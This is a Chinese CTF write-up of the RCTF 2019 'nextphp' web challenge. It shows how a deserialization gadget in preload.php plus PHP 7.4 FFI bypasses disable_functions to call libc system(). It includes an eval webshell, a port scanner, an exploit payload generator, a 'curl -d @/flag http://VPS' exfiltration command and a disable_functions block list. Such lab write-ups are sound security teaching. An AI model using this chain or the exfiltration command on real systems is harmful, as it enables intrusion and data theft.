RCTF2019Web题解之nextphp

这题主要考察PHP-7.4中的两个特性( FFISerializable__serialize__unserialize ),通过 FFI 绕过 disable_functions 限制。

nextphp

PHP is the best language!

题目地址:http://nextphp.2019.rctf.rois.io

题目docker:https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/nextphp

index.php

1
2
3
4
5
6
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}

preload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

通过前面给的 shell(index.php) ,可以通过 phpinfo 发现存在如下关键信息:

PHP Version 7.4.0-dev
内网IP:172.20.0.1
开启了FFI
opcache.preload:/var/www/html/preload.php
open_basedir:/var/www/html
disable_classes:ReflectionClass
disable_functions

1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

刚开始,想通过这个shell进行SSRF扫描内网,看看内网是否还有其他主机运行web,因为有可能内网中其他机器上的disable_functions限制没有这么严格。

1
2
3
4
5
6
7
8
9
10
11
12
 // 端口扫描:
$hosts='127.0.0.1';
$timeout=0.5;
for($i=0;$i<65535;$i++){
$c=@fsockopen($hosts,$i, $en,$es, $timeout);
if(is_resource($c)){
echo $hosts.':'.$i.' => open\n<br>';
fclose($c);
}
ob_flush();
flush();
}
1
2
3
4
5
6
# 题目内网IP:172.20.0.1

172.20.0.2:80 => open\n<br>
172.20.0.2:46036 => open\n<br>
172.20.0.2:53310 => open\n<br>
172.20.0.2:65616 => open\n<br>

发现 172.20.0.2 上有和题目一模一样的 web 环境,但是对比了他们两个的 phpinfo 信息,发现是一样的,其他端口没什么发现,遂放弃这个思路,转向 opcache.preload

opcache.preloadPHP7.4 中新加入的功能。如果设置了 opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。更多细节可以阅读:https://wiki.php.net/rfc/preload ,在这篇文档尾巴可以看到如下描述:

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

大概意思就是说允许在 preload 文件中使用 FFI 拓展,但是文档中说了 FFI 是一个危险的拓展,而这道题目却开启了 FFI 拓展。我们可以参考文档:https://wiki.php.net/rfc/ffi 中的例子:

1
2
3
4
5
6
7
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // this is regular C declaration
"libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");

先通过如下命令编译 PHP-7.4-dev

1
2
3
4
5
6
7
apt install libsqlite3-dev libffi-dev bison re2c pkg-config
git clone https://github.com/php/php-src.git
cd php-src
git checkout PHP-7.4
./buildconf
./configure --prefix=$HOME/myphp --with-config-file-path=$HOME/myphp/lib --with-ffi --enable-opcache --enable-cli
make -j $(nproc) && make install

然后测试,发现如果不设置 FFI::cdef 的第二个参数,也可以调用 C 函数。(具体原因还没细究,猜测在调用 system 函数时,先从系统默认的共享库中搜寻函数是否定义,如果定义则直接调用函数。)

1

这样的话,我们就可以利用 preload.php 中类 Arun 方法直接执行命令了,也就可以直接绕过 disable_functions 等限制。通过如下脚本生成 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
];

private function run () {
echo "run<br>";
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
echo "__construct<br>";
}
}

$a = new A();
echo base64_encode(serialize($a)); // 即payload

这里的EXP代码中删除了原有的 __serialize__unserialize 两个函数,这是因为在反序列化时会触发 __unserialize 函数,这一特性是在PHP7.4中新加入的,具体可参考:https://wiki.php.net/rfc/custom_object_serialization

然后访问 http://题目/?a=unserialize(base64_decode(上面生成的payload))->__serialize()['ret']->system(系统命令); ,这里的命令执行的结果不会回显,可以用VPS接收flag,执行命令 curl -d @/flag http://VPS 就行了。

2

后来又想为什么不直接通过那个 shell 利用 FFI (直接不用那个反序列化),结果试了发现不行。再次查看文档,发现如下描述:

FFI API opens all the C power, and consequently, also an enormous possibility to have something go wrong, crash PHP, or even worse. To minimize risk PHP FFI API usage may be restricted. By default FFI API may be used only in CLI scripts and preloaded PHP files. This may be changed through ffi.enable INI directive. This is INI_SYSTEM directive and it’s value can’t be changed at run-time.

  • ffi.enable=false completely disables PHP FFI API
  • ffi.enable=true enables PHP FFI API without any restrictions
  • ffi.enable=preload (the default value) enables FFI but restrict its usage to CLI and preloaded scripts

原来默认 ffi.enable=preload ** 且仅在命令行模式和 **preload 文件中可用,在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 了。

赛后看了一下 FFI 的源码,发现当不设置 FFI::cdef 的第二个参数时,源码中的 libNULL ,并且 handle 被设为 RTLD_DEFAULT 。这个 RTLD_DEFAULT 定义在 dlfcn.h:47 文件中。

3

之后会调用 DL_FETCH_SYMBOL 函数,而这个函数就是 dlsym 函数,其定义在 zend_portability.h:157 文件中。

4

从文档 DLSYM函数手册 中,可以看到如下描述:

RTLD_DEFAULT

Find the first occurrence of the desired symbol using the default shared object search order. The search will include global symbols in the executable and its dependencies, as well as symbols in shared objects that were dynamically loaded with the RTLD_GLOBALflag.

dlsym 第一个参数为 RTLD_DEFAULT 时,程序会按照默认共享库的顺序,从中搜索 system 函数第一次出现的地方并使用。搜索范围还包括了可执行程序极其依赖中的函数表(如果设置了 RTLD_GLOBAL 还会搜索动态加载库中的函数表),所以应该是这些搜索范围中存在可调用的 system 函数。

参考

https://wiki.php.net/rfc/preload

https://wiki.php.net/rfc/ffi

https://wiki.php.net/rfc/custom_object_serialization

文章作者: Mochazz
文章链接: https://mochazz.github.io/2019/05/21/RCTF2019Web题解之nextphp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog